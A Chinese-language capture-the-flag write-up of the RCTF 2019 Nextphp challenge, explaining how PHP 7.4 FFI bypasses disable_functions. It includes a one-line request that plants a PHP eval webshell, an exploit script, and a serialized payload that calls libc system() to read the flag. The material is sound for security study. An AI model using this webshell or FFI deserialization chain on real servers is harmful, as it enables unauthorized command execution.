本文最后更新于:2023年8月25日 下午
[TOC]
FFI绕过disable_functions
[RCTF 2019]Nextphp
首先来看这道题目
index.php
1 2 3 4 5 6
| <?php if (isset($_GET['a'])) { eval($_GET['a']); } else { show_source(__FILE__); }
|
查看一下phpinfo
发现过滤了很多函数,我们写个马:
1
| /?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");
|
蚁剑连接:
preload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ];
private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); }
public function __serialize(): array { return $this->data; }
public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); }
public function serialize (): string { return serialize($this->data); }
public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); }
public function __get ($key) { return $this->data[$key]; }
public function __set ($key, $value) { throw new \Exception('No implemented'); }
public function __construct () { throw new \Exception('No implemented'); } }
|
本来想尝试使用LD_PRELOAD
等方式绕过disable_functions
,但是禁用了mail
、putenv()
等函数,没办法了
这了我们获取到了preload.php文件,这里就不得不提到PHP7.4 FFI
了
PHP7.4 FFI
FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。
使用条件:
1 2 3
| Linux 操作系统 PHP >= 7.4 开启了 FFI 扩展且 ffi.enable=true
|
如果我们要调用C标准库里面的system函数(先不考虑PHP自己实现了system函数),我们就使用cdef去加载,cdef会把存放system函数功能的动态链接库libc加载到内存里面,这样PHP的进程空间里就有了这个system,这也是disable_functions里面过滤了system函数,但是结果的payload里面仍然还使用了system的原因,因为我们是加载c库函数中的system函数的
所以此处的思想就是使用PHP代码来调用c代码的方式,先声明c中的命令执行函数,然后通过FFI变量调用该c函数即可bypass
由于这里的php版本是7.4,所以我们就可以使用这种方式了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(char *command);' ];
public function serialize (): string { return serialize($this->data); }
public function unserialize($payload) {
$this->data = unserialize($payload);
} }
$a = new A(); echo serialize($a);
|
这里我们需要注释掉__serialize()
函数,否则就会先执行__serialize()
,这里我们需要执行的是serialize()
函数
然后我们传参:
1
| /?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');
|
首先反序列化得到A
对象,然后调用__serialize()
返回$this->data
数组,取其中的ret
变量,由于调用unserialize()
时会调用run()
,所以导致ret=FFI::cdef(int system(char *command);)
就相当于声明了一个FFI对象,然后执行system()
函数即可
参考
https://www.cnblogs.com/karsa/p/13393034.html
https://blog.csdn.net/RABCDXB/article/details/120319633
简单讲解如何绕过PHP disable_function